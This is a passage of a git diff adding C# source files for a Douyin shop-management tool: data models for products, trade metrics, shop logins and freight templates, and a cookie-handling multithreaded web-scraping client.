using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
public class DouProductPromotionListInfo
|
||||
{
|
||||
public string product_id;
|
||||
public string name;
|
||||
public string img;
|
||||
public int category_id;
|
||||
public int first_cid;
|
||||
public int second_cid;
|
||||
public int third_cid;
|
||||
public int fourth_cid;
|
||||
public string good_comment_rate;
|
||||
public string first_category;
|
||||
public string second_category;
|
||||
public string third_category;
|
||||
public string fourth_category;
|
||||
public int sold_times;
|
||||
public bool allow;
|
||||
public int stock_num;
|
||||
public int max_price;
|
||||
public int min_price;
|
||||
public int in_campaign;
|
||||
public List<object> promotions;
|
||||
public string reject_msg;
|
||||
public int reject_type;
|
||||
public object reject_detail;
|
||||
public bool is_combined;
|
||||
public int max_promotion_price;
|
||||
public int min_promotion_price;
|
||||
public string stype;
|
||||
public int? sell_num;
|
||||
}
|
||||
|
||||
public class DouProductProPromotionListSkuInfo
|
||||
{
|
||||
public string id { get; set; }
|
||||
/// <summary>
|
||||
/// 价格,单位分
|
||||
/// </summary>
|
||||
public int origin_price { get; set; }
|
||||
/// <summary>
|
||||
/// 库存
|
||||
/// </summary>
|
||||
public int stock { get; set; }
|
||||
/// <summary>
|
||||
/// sku规格名称
|
||||
/// </summary>
|
||||
public string specification { get; set; }
|
||||
/// <summary>
|
||||
/// sku图片
|
||||
/// </summary>
|
||||
public string img { get; set; }
|
||||
/// <summary>
|
||||
/// spec1 id
|
||||
/// </summary>
|
||||
public long spec_detail_id1 { get; set; }
|
||||
/// <summary>
|
||||
/// spec2 id
|
||||
/// </summary>
|
||||
public long spec_detail_id2 { get; set; }
|
||||
/// <summary>
|
||||
/// spec3 id
|
||||
/// </summary>
|
||||
public long spec_detail_id3 { get; set; }
|
||||
/// <summary>
|
||||
/// 划线价
|
||||
/// </summary>
|
||||
public int redline_price { get; set; }
|
||||
/// <summary>
|
||||
/// 优惠价
|
||||
/// </summary>
|
||||
public string SetPrice { get; set; }
|
||||
/// <summary>
|
||||
/// 活动库存
|
||||
/// </summary>
|
||||
public int ActiceStock { get; set; }
|
||||
/// <summary>
|
||||
/// 每人限购
|
||||
/// </summary>
|
||||
public int LimitedNum { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
/// <summary>
|
||||
/// 抖店商品交易指标
|
||||
/// </summary>
|
||||
public class DouTradeIndexListInfo
|
||||
{
|
||||
public bool can_operation { get; set; }
|
||||
/// <summary>
|
||||
/// 商品点击次数
|
||||
/// </summary>
|
||||
public string dh_product_click_pv { get; set; }
|
||||
/// <summary>
|
||||
/// 商品点击人数
|
||||
/// </summary>
|
||||
public string dh_product_click_uv { get; set; }
|
||||
/// <summary>
|
||||
/// 商品曝光次数
|
||||
/// </summary>
|
||||
public string dh_product_show_pv { get; set; }
|
||||
/// <summary>
|
||||
/// 商品曝光人数
|
||||
/// </summary>
|
||||
public string dh_product_show_uv { get; set; }
|
||||
/// <summary>
|
||||
/// 成交订单数
|
||||
/// </summary>
|
||||
public string pay_cnt { get; set; }
|
||||
public ProductTradeIndex product { get; set; }
|
||||
public List<object> talent { get; set; }
|
||||
public string product_id { get { return product?.serial_number; } }
|
||||
}
|
||||
|
||||
public class ProductTradeIndex
|
||||
{
|
||||
public string cover_image { get; set; }
|
||||
public string serial_number { get; set; }
|
||||
public string title { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
using AllBase.Model.Param.FissionManage;
|
||||
using CefSharp.WinForms;
|
||||
using NaiBa.Util.Extension;
|
||||
using Newtonsoft.Json;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Web.Script.Serialization;
|
||||
using System.Xml.Serialization;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
public class DouShopLoginInfo
|
||||
{
|
||||
public string DbId { get; set; }
|
||||
public string LoginName { get; set; }
|
||||
public string Password { get; set; }
|
||||
public string ShopAccountId { get; set; }
|
||||
public string ShopAccount { get; set; }
|
||||
public string Mobile { get; set; }
|
||||
public string ShopToken { get; set; }
|
||||
public string Signature { get; set; }
|
||||
public string TouTiaoId { get; set; }
|
||||
public string Cookies { get; set; } = "";
|
||||
public Dictionary<string, string> DictMultiCookies { get; set; } = new Dictionary<string, string>();
|
||||
public string LoginStatus { get; set; }
|
||||
public string ApiAuthStatus { get; set; }
|
||||
public List<BrandInfo> LstBrand { get; set; }
|
||||
/// <summary>
|
||||
/// 客服账户
|
||||
/// </summary>
|
||||
public string ChatAccount
|
||||
{
|
||||
get
|
||||
{
|
||||
string accountStr = "";
|
||||
foreach (var sub in this.ShopSubAccountList)
|
||||
{
|
||||
if (sub.group_name == "客服")
|
||||
accountStr += sub.name + ",";
|
||||
}
|
||||
return accountStr.TrimEnd(',');
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 上货账户
|
||||
/// </summary>
|
||||
public string UploadAccount
|
||||
{
|
||||
get
|
||||
{
|
||||
string accountStr = "";
|
||||
foreach (var sub in this.ShopSubAccountList)
|
||||
{
|
||||
if (sub.group_name == "上货")
|
||||
accountStr += sub.name + ",";
|
||||
}
|
||||
return accountStr.TrimEnd(',');
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 拍单(采购)用户账户
|
||||
/// </summary>
|
||||
public string BuyAccount
|
||||
{
|
||||
get
|
||||
{
|
||||
string accountStr = "";
|
||||
foreach (var sub in this.ShopSubAccountList)
|
||||
{
|
||||
if (sub.group_name == "采购")
|
||||
accountStr += sub.name + ",";
|
||||
}
|
||||
return accountStr.TrimEnd(',');
|
||||
}
|
||||
}
|
||||
public string Group { get; set; }
|
||||
public string LastRefreshDate { get; set; }
|
||||
public string AccessToken { get { return CurrentAuthInfo?.AccessToken; } }
|
||||
public string RefreshToken { get { return CurrentAuthInfo?.RefreshToken; } }
|
||||
public string AppKey { get { return CurrentAuthInfo?.AppKey; } }
|
||||
public DateTime AddTime { get { return CurrentAuthInfo?.AddTime == null ? new DateTime() : CurrentAuthInfo.AddTime; } }
|
||||
public DateTime ExpiresTime { get { return CurrentAuthInfo?.ExpiresTime == null ? new DateTime() : CurrentAuthInfo.ExpiresTime; } }
|
||||
/// <summary>
|
||||
/// 店铺运费模板
|
||||
/// </summary>
|
||||
public long ExpressId { get; set; }
|
||||
/// <summary>
|
||||
/// 店铺是否可上传
|
||||
/// </summary>
|
||||
public bool CanUpload = true;
|
||||
/// <summary>
|
||||
/// 店铺状态信息
|
||||
/// </summary>
|
||||
public string Message;
|
||||
|
||||
public List<AuthInfo> ApiAuthInfoList { get; set; } = new List<AuthInfo>();
|
||||
|
||||
public AuthInfo CurrentAuthInfo { get { return this.ApiAuthInfoList.OrderBy(a => a.ExpiresTime).LastOrDefault(); } }
|
||||
|
||||
/// <summary>
|
||||
/// 拍单Api授权信息
|
||||
/// </summary>
|
||||
public AuthInfo BuyApiAuth { get; set; } = new AuthInfo();
|
||||
|
||||
public List<DouShopSubAccountInfo> ShopSubAccountList { get; } = new List<DouShopSubAccountInfo>();
|
||||
|
||||
public int OnlineProductCount { get; set; } = -1;
|
||||
public int OfflineProductCount { get; set; } = -1;
|
||||
|
||||
[JsonIgnore]
|
||||
[ScriptIgnore]
|
||||
[XmlIgnore]
|
||||
public ChromiumWebBrowser Chat { get; set; } = null;
|
||||
|
||||
public int PayStatus { get; set; } = 0;
|
||||
|
||||
/// <summary>
|
||||
/// 试用版最大上货计数,超过100限制
|
||||
/// </summary>
|
||||
public int TrialUploadCount { get; set; } = 0;
|
||||
|
||||
/// <summary>
|
||||
/// 试用版最大上货计数,超过100限制
|
||||
/// </summary>
|
||||
public int TrialOperateCount { get; set; } = 0;
|
||||
|
||||
[JsonIgnore]
|
||||
[ScriptIgnore]
|
||||
[XmlIgnore]
|
||||
public int UploadCount { get; set; } = 0;
|
||||
|
||||
public int X { get; set; }
|
||||
public int Y { get; set; }
|
||||
|
||||
public List<int> LstShopCategory { get; set; } = new List<int>();
|
||||
}
|
||||
|
||||
public class AuthInfo
|
||||
{
|
||||
public string AccessToken { get; set; } = "";
|
||||
public string RefreshToken { get; set; } = "";
|
||||
public string AppKey { get; set; } = "";
|
||||
public DateTime ExpiresTime { get; set; }
|
||||
public DateTime AddTime { get; set; }
|
||||
public string ApiAuthStatus { get; set; } = "未授权";
|
||||
}
|
||||
|
||||
public class SubAccountInfo
|
||||
{
|
||||
public string name { get; set; }
|
||||
public string mobile { get; set; }
|
||||
public string group_id { get; set; }
|
||||
public string group_name
|
||||
{
|
||||
get
|
||||
{
|
||||
var n = "未定义";
|
||||
if (group_id == "4")
|
||||
n = "客服";
|
||||
if (group_id == "9")
|
||||
n = "采购";
|
||||
if (group_id == "5")
|
||||
n = "加盟";
|
||||
if (group_id == "10")
|
||||
n = "上货";
|
||||
if (group_id == "11")
|
||||
n = "数据";
|
||||
if (group_id == "8")
|
||||
n = "登录";
|
||||
return n;
|
||||
}
|
||||
}
|
||||
public int shop_count { get; set; }
|
||||
public int id { get; set; }
|
||||
}
|
||||
|
||||
public class DouShopSubAccountInfo : SubAccountInfo
|
||||
{
|
||||
public string shop_login_name { get; set; }
|
||||
public string sub_user_id { get { return id.ToString(); } set { id = value.ParseToInt(); } }
|
||||
public string sub_user_name { get { return name; } set { name = value; } }
|
||||
public string status { get; set; } = "1";
|
||||
public string company_id { get; set; }
|
||||
}
|
||||
|
||||
public class BrandInfo
|
||||
{
|
||||
public string brand_chinese_name { get; set; }
|
||||
public string brand_english_name { get; set; }
|
||||
public string brand_reg_num { get; set; }
|
||||
public long id { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
public class FreightTemplateInfo
|
||||
{
|
||||
public TemplateInfo template { get; set; }
|
||||
}
|
||||
|
||||
public class TemplateInfo
|
||||
{
|
||||
public long id { get; set; }
|
||||
public string template_name { get; set; }
|
||||
/// <summary>
|
||||
/// 发货省份id
|
||||
/// </summary>
|
||||
public string product_province { get; set; }
|
||||
/// <summary>
|
||||
/// 发货城市id
|
||||
/// </summary>
|
||||
public string product_city { get; set; }
|
||||
/// <summary>
|
||||
/// 计价方式-1.按重量计价 2.按数量计价
|
||||
/// </summary>
|
||||
public int calculate_type { get; set; }
|
||||
/// <summary>
|
||||
/// 快递方式-1.快递 目前仅支持1
|
||||
/// </summary>
|
||||
public int transfer_type { get; set; }
|
||||
/// <summary>
|
||||
/// 模板类型-0:阶梯计价 1:固定运费 2:卖家包邮 3:货到付款
|
||||
/// </summary>
|
||||
public int rule_type { get; set; }
|
||||
/// <summary>
|
||||
/// 固定运费金额(单位:分) 固定运费模板必填 1-9900之间的整数
|
||||
/// </summary>
|
||||
public int fixed_amount { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Result
|
||||
{
|
||||
public class ViolateInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// 商品id
|
||||
/// </summary>
|
||||
public string business_id { get; set; }
|
||||
/// <summary>
|
||||
/// 违规详情描述
|
||||
/// </summary>
|
||||
public string against_detail { get; set; }
|
||||
/// <summary>
|
||||
/// 违反规则名称
|
||||
/// </summary>
|
||||
public string rule_name { get; set; }
|
||||
/// <summary>
|
||||
/// 违规店铺名称
|
||||
/// </summary>
|
||||
public string shop_id { get; set; }
|
||||
/// <summary>
|
||||
/// 罚单编号
|
||||
/// </summary>
|
||||
public string penalize_id { get; set; }
|
||||
/// <summary>
|
||||
/// 上家商品Id
|
||||
/// </summary>
|
||||
public string up_product_id { get; set; }
|
||||
/// <summary>
|
||||
/// 上家商品Id数字
|
||||
/// </summary>
|
||||
public long up_product_id_number { get; set; }
|
||||
|
||||
public string fileName { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,693 @@
|
||||
/*
|
||||
* 多线程模拟浏览器采集客户端
|
||||
* 2013-7-24
|
||||
* 肖俊
|
||||
*/
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class MultiThreadClient
|
||||
{
|
||||
/// <summary>
|
||||
/// 附加Cookies
|
||||
/// </summary>
|
||||
public string AddCookies = "";
|
||||
/// <summary>
|
||||
/// 指定Cookies
|
||||
/// </summary>
|
||||
public string Cookies = "";
|
||||
/// <summary>
|
||||
/// 指定UserAgent
|
||||
/// </summary>
|
||||
public string UserAgent = "";
|
||||
/// <summary>
|
||||
/// 是否出错
|
||||
/// </summary>
|
||||
public bool IsError = false;
|
||||
/// <summary>
|
||||
/// 是否友情链接查询
|
||||
/// </summary>
|
||||
public bool FriendLink = false;
|
||||
/// <summary>
|
||||
/// 来路
|
||||
/// </summary>
|
||||
public string Referer = "";
|
||||
/// <summary>
|
||||
/// 是否手机头
|
||||
/// </summary>
|
||||
public bool IsMoblie = false;
|
||||
/// <summary>
|
||||
/// 是否手机头
|
||||
/// </summary>
|
||||
public bool IsWhoies = false;
|
||||
/// <summary>
|
||||
/// 强制定义为GBK编码
|
||||
/// </summary>
|
||||
public bool IsGbk = false;
|
||||
/// <summary>
|
||||
/// 强制定义为GBK编码
|
||||
/// </summary>
|
||||
public bool IsUtf8 = false;
|
||||
/// <summary>
|
||||
/// 强制不跳转
|
||||
/// </summary>
|
||||
public bool NoRedir = false;
|
||||
/// <summary>
|
||||
/// 是否代理模式
|
||||
/// </summary>
|
||||
public bool IsProxy = false;
|
||||
/// <summary>
|
||||
/// 百度搜索错误
|
||||
/// </summary>
|
||||
public static bool BaiduError = false;
|
||||
/// <summary>
|
||||
/// 百度错误时间
|
||||
/// </summary>
|
||||
public static DateTime BaiduErrorTime = DateTime.Now;
|
||||
|
||||
public string EndUrl = "";
|
||||
/// <summary>
|
||||
/// 超时
|
||||
/// </summary>
|
||||
public int TimeOut = 30;
|
||||
public string GetHtml(string url)
|
||||
{
|
||||
return GetHtml(url, -1,null);
|
||||
}
|
||||
|
||||
public string GetHtml(string url, byte[] post)
|
||||
{
|
||||
return GetHtml(url,-1, post);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 采集器
|
||||
/// </summary>
|
||||
/// <param name="url">网址</param>
|
||||
/// <returns></returns>
|
||||
public string GetHtml(string url, int isUtf8, byte[] post)
|
||||
{
|
||||
IsError = false;
|
||||
string cookies = "", html = "";
|
||||
Random ra = new Random();
|
||||
string domain = GetDomain(url);
|
||||
if (domain == null)
|
||||
return "";
|
||||
if (domain.Length > 4 &&
|
||||
(domain.Substring(0, 2) == "m." || domain.Substring(0, 2) == "wap." || domain.Substring(0, 2) == "3g." ||
|
||||
domain.Substring(0, 2) == "4g."))
|
||||
IsMoblie = true;
|
||||
if (!string.IsNullOrEmpty(url))
|
||||
url = url.Trim();
|
||||
if (string.IsNullOrEmpty(url))
|
||||
return "";
|
||||
WebBrowserCoockies wc;
|
||||
if (IsMoblie)
|
||||
wc = WebCoockies.MobileCoockies.Count>0? WebCoockies.MobileCoockies[ra.Next(WebCoockies.MobileCoockies.Count)]:null;
|
||||
else
|
||||
wc = WebCoockies.Coockies.Count>0? WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)]:null;
|
||||
if (wc == null)
|
||||
wc = new WebBrowserCoockies();
|
||||
for (int i = 0; wc.Coockies != null && i < wc.Coockies.Count; i++)
|
||||
{
|
||||
if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain)
|
||||
{
|
||||
cookies = wc.Coockies[i].Cookies;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!string.IsNullOrEmpty(UserAgent))
|
||||
wc.UserAgent = UserAgent;
|
||||
if (!string.IsNullOrEmpty(Cookies))
|
||||
cookies = Cookies;
|
||||
WebClientx web = new WebClientx();
|
||||
web.AllowAutoRedirect = false;
|
||||
web.Timeout = TimeOut;
|
||||
web.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8");
|
||||
web.Headers.Add("Accept-Encoding", "gzip, deflate, sdch, br ");
|
||||
web.Headers.Add("User-Agent", wc.UserAgent);
|
||||
|
||||
if (IsMoblie)
|
||||
{
|
||||
web.Headers.Add("X-Requested-With", "com.android.browser");
|
||||
web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
|
||||
web.Headers.Add("x-wap-profile", "http://wap1.huawei.com/uaprof/HUAWEI_MT2_T00_UAProfile.xml");
|
||||
}
|
||||
else
|
||||
{
|
||||
web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
|
||||
web.Headers.Add("upgrade-insecure-requests", "1");
|
||||
}
|
||||
|
||||
if (IsProxy)//是否是代理状态
|
||||
web.Headers.Add("Add-UserAgent", wc.UserAgent);
|
||||
if (!BaseClass.IsTest)
|
||||
web.Proxy = null;
|
||||
if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies))
|
||||
cookies += AddCookies;
|
||||
if (url.Contains("/url=") && IsMoblie)
|
||||
web.Headers.Add("Add-Cookies", "Moblie");
|
||||
if (url.Contains("/url=") && IsWhoies)
|
||||
web.Headers.Add("Add-Cookies", "whois");
|
||||
int retryTimes = 0;
|
||||
GotoAgen:
|
||||
EndUrl = url;
|
||||
web.Headers.Remove("Cookie");
|
||||
if (!string.IsNullOrEmpty(cookies))
|
||||
web.Headers.Add("Cookie", cookies);
|
||||
if (!string.IsNullOrEmpty(Referer))
|
||||
web.Headers.Add("Referer", Referer);
|
||||
try
|
||||
{
|
||||
byte[] b;
|
||||
//if (post == null)
|
||||
//{
|
||||
// Stream receiveStream = web.OpenRead(url);
|
||||
// MemoryStream ms = new MemoryStream();
|
||||
// int num;
|
||||
// byte[] buffer = new byte[10240];
|
||||
// do
|
||||
// {
|
||||
// num = receiveStream.Read(buffer, 0, buffer.Length);
|
||||
// if (num > 0)
|
||||
// ms.Write(buffer, 0, num);
|
||||
// } while (num > 0);
|
||||
// b = ms.ToArray();
|
||||
// ms.Close();
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
// b = web.UploadData(url, post);
|
||||
//}
|
||||
b = post == null ? web.DownloadData(url) : web.UploadData(url, post);
|
||||
string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies
|
||||
string location = web.ResponseHeaders.Get("Location"); //跳转地址
|
||||
if (!string.IsNullOrEmpty(cookies1))
|
||||
{
|
||||
cookies = UpCookies(cookies, cookies1);
|
||||
if (!string.IsNullOrEmpty(Cookies))
|
||||
Cookies = cookies;
|
||||
bool ok = false;
|
||||
foreach (var c in wc.Coockies)
|
||||
{
|
||||
if (c.Domain == domain)
|
||||
{
|
||||
c.Cookies = cookies;
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
if (!ok)
|
||||
{
|
||||
CoockiesBase c = new CoockiesBase();
|
||||
c.Cookies = cookies;
|
||||
c.Domain = domain;
|
||||
wc.Coockies.Add(c);
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(location))
|
||||
{
|
||||
string contentType = web.ResponseHeaders["Content-Type"];
|
||||
if (b == null)
|
||||
return "";
|
||||
if (b.Length > 2 * 1024 * 1024)
|
||||
return "文件太大";
|
||||
b = ZipHelper.Decompress(b);
|
||||
if (b.Length > 2 * 1024 * 1024)
|
||||
return "文件太大";
|
||||
if (!string.IsNullOrEmpty(contentType))
|
||||
{
|
||||
string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)");
|
||||
if (!string.IsNullOrEmpty(c))
|
||||
{
|
||||
c = c.Trim().ToLower().Replace("utf8", "utf-8");
|
||||
html = Encoding.GetEncoding(c).GetString(b);
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(html) && isUtf8 == -1)
|
||||
{
|
||||
html = Encoding.GetEncoding("UTF-8").GetString(b);
|
||||
string r = @"<meta [^>]*?charset=[""']*([\w-]+)[""']*";
|
||||
string c = GetRegexString(html, r).Trim();
|
||||
if (c.IndexOf("'") > -1)
|
||||
c = c.Substring(0, c.IndexOf("'"));
|
||||
if (c.IndexOf("\"") > -1)
|
||||
c = c.Substring(0, c.IndexOf("\""));
|
||||
if (c.IndexOf(" ") > -1)
|
||||
c = c.Substring(0, c.IndexOf(" "));
|
||||
if (c.IndexOf(">") > -1)
|
||||
c = c.Substring(0, c.IndexOf(">"));
|
||||
if (c.ToLower() != "utf-8" && !string.IsNullOrEmpty(c))
|
||||
html = Encoding.GetEncoding(c).GetString(b);
|
||||
else if (string.IsNullOrEmpty(c))
|
||||
html = Encoding.GetEncoding("UTF-8").GetString(b);
|
||||
}
|
||||
if (!string.IsNullOrEmpty(html) && isUtf8 == -1)
|
||||
{
|
||||
if (html.Substring(0, 1) == "锘")
|
||||
html = Encoding.GetEncoding("UTF-8").GetString(b);
|
||||
if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 20))
|
||||
html = Encoding.GetEncoding("gbk").GetString(b);
|
||||
}
|
||||
if (isUtf8 == 0)
|
||||
html = Encoding.GetEncoding("gbk").GetString(b);
|
||||
if (isUtf8 == 1 && string.IsNullOrEmpty(html))
|
||||
html = Encoding.UTF8.GetString(b);
|
||||
if (IsGbk)
|
||||
html = Encoding.GetEncoding("gbk").GetString(b);
|
||||
if (IsUtf8)
|
||||
html = Encoding.GetEncoding("UTF-8").GetString(b);
|
||||
}
|
||||
if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html)))
|
||||
{
|
||||
if (NoRedir)
|
||||
return location;
|
||||
|
||||
//下面是支持301和302跳转部分
|
||||
if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://"))
|
||||
{
|
||||
url = location;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
if (location.Substring(0, 1) == "/")
|
||||
{
|
||||
string[] l = url.Split('/');
|
||||
if (l.Length > 3)
|
||||
{
|
||||
url = "";
|
||||
for (int i = 0; i < 3; i++)
|
||||
url += l[i] + "/";
|
||||
url += location.Substring(1, location.Length - 1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (url.Substring(url.Length - 1, 1) == "/")
|
||||
url += location;
|
||||
else
|
||||
url += "/" + location;
|
||||
}
|
||||
}
|
||||
retryTimes++;
|
||||
goto GotoAgen;
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)") || e.Message.Contains("指定的路径或文件名太长,"))
|
||||
{
|
||||
IsError = true;
|
||||
return e.Message;
|
||||
}
|
||||
if (FriendLink)
|
||||
{
|
||||
IsError = true;
|
||||
return e.Message;
|
||||
}
|
||||
if (retryTimes < 1)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
retryTimes++;
|
||||
goto GotoAgen;
|
||||
}
|
||||
IsError = true;
|
||||
return e.Message;
|
||||
}
|
||||
if (html.Contains("您的访问出错了</title>"))
|
||||
{
|
||||
if (!BaiduError)
|
||||
{
|
||||
BaiduError = true;
|
||||
BaiduErrorTime = DateTime.Now;
|
||||
}
|
||||
IsError = true;
|
||||
}
|
||||
if (BaiduError && BaiduErrorTime.AddMinutes(5) < DateTime.Now)
|
||||
BaiduError = false;
|
||||
return html;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 返回Utf-8编码
|
||||
/// </summary>
|
||||
/// <param name="url"></param>
|
||||
/// <returns></returns>
|
||||
public string GetByte(string url, ref bool had, out bool isChinese)
|
||||
{
|
||||
string html = "";
|
||||
had = false;
|
||||
IsError = false;
|
||||
isChinese = false;
|
||||
string cookies = "";
|
||||
Random ra = new Random();
|
||||
string domain = AllBase.GetHtml.GetDomain(url);
|
||||
if (string.IsNullOrEmpty(domain))
|
||||
return "";
|
||||
WebBrowserCoockies wc = WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)];
|
||||
|
||||
for (int i = 0; wc != null && wc.Coockies != null && i < wc.Coockies.Count; i++)
|
||||
{
|
||||
if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain)
|
||||
{
|
||||
cookies = wc.Coockies[i].Cookies;
|
||||
break;
|
||||
}
|
||||
}
|
||||
WebClientx web = new WebClientx();
|
||||
web.Timeout = TimeOut;
|
||||
web.AllowAutoRedirect = false;
|
||||
web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;");
|
||||
web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
|
||||
web.Headers.Add("Accept-Encoding", "gzip,deflate");
|
||||
// if (string.IsNullOrEmpty(UserAgent))
|
||||
// web.Headers.Add("User-Agent", wc.UserAgent);
|
||||
//else
|
||||
// web.Headers.Add("User-Agent", UserAgent);
|
||||
web.Headers.Add("User-Agent", "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)");
|
||||
web.Proxy = null;
|
||||
if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies))
|
||||
cookies += AddCookies;
|
||||
if (!string.IsNullOrEmpty(cookies))
|
||||
web.Headers.Add("Cookie", cookies);
|
||||
if (!string.IsNullOrEmpty(Referer))
|
||||
web.Headers.Add("Referer", Referer);
|
||||
if (url.Contains("/url=") && IsMoblie)
|
||||
web.Headers.Add("Add-Cookies", "Moblie");
|
||||
if (url.Contains("/url=") && IsWhoies)
|
||||
web.Headers.Add("Add-Cookies", "whois");
|
||||
int retryTimes = 0;
|
||||
byte[] b = null;
|
||||
GotoAgen:
|
||||
try
|
||||
{
|
||||
int max = 3 * 1024, len = 0;//最大文件为3MB
|
||||
//Stream receiveStream = web.OpenRead(url);
|
||||
//MemoryStream ms = new MemoryStream();
|
||||
//int num;
|
||||
//byte[] buffer = new byte[1024];
|
||||
//do
|
||||
//{
|
||||
// num = receiveStream.Read(buffer, 0, buffer.Length);
|
||||
// if (num > 0)
|
||||
// ms.Write(buffer, 0, num);
|
||||
// len++;
|
||||
//} while (num > 0 && len<max);
|
||||
//if (len >= max)//太大的文件直接跳过
|
||||
// return "";
|
||||
//b = ms.ToArray();
|
||||
//ms.Close();
|
||||
b = web.DownloadData(url);
|
||||
string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies
|
||||
string location = web.ResponseHeaders.Get("Location"); //跳转地址
|
||||
if (!string.IsNullOrEmpty(cookies1))
|
||||
{
|
||||
cookies = UpCookies(cookies, cookies1);
|
||||
bool ok = false;
|
||||
foreach (var c in wc.Coockies)
|
||||
{
|
||||
if (c.Domain == domain)
|
||||
{
|
||||
c.Cookies = cookies;
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
if (!ok)
|
||||
{
|
||||
CoockiesBase c = new CoockiesBase();
|
||||
c.Cookies = cookies;
|
||||
c.Domain = domain;
|
||||
wc.Coockies.Add(c);
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(location))
|
||||
{
|
||||
string contentType = web.ResponseHeaders["Content-Type"];
|
||||
html = "";
|
||||
b = ZipHelper.Decompress(b);
|
||||
if (b.Length >= max*1024)//太大的文件直接跳过
|
||||
return "文件太大";
|
||||
//b = GzipDeCompress(b);
|
||||
if (b == null || b.Length == 0 || b.Length > 2 * 1024 * 1024)
|
||||
return "";
|
||||
try
|
||||
{
|
||||
if (!string.IsNullOrEmpty(contentType))
|
||||
{
|
||||
string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)");
|
||||
if (!string.IsNullOrEmpty(c))
|
||||
{
|
||||
c = c.Trim().ToLower().Replace("utf8", "utf-8").Replace(";", "");
|
||||
html = Encoding.GetEncoding(c).GetString(b);
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(html))
|
||||
{
|
||||
html = Encoding.GetEncoding("UTF-8").GetString(b);
|
||||
string r = @"<meta [^>]*charset=[""']*([^>]+)[""']*[ />]";
|
||||
string c = GetRegexString(html, r);
|
||||
if (c.Contains("\""))
|
||||
c = c.Substring(0, c.IndexOf("\""));
|
||||
if (c.Contains("'"))
|
||||
c = c.Substring(0, c.IndexOf("'"));
|
||||
if (string.IsNullOrEmpty(c))
|
||||
c = GetRegexString(html, @"<meta [^>]*charset=[""']([a-z0-9-]+)[""']>");
|
||||
if (string.IsNullOrEmpty(c) && !string.IsNullOrEmpty(html) && html.Contains("�") &&html.Length- html.Replace("�","").Length>50)
|
||||
{
|
||||
html = Encoding.GetEncoding("gbk").GetString(b);
|
||||
}
|
||||
if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8")
|
||||
{
|
||||
html = Encoding.GetEncoding(c).GetString(b);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (IsUtf8|| !string.IsNullOrEmpty(html) && html.Substring(0, 1) == "锘")
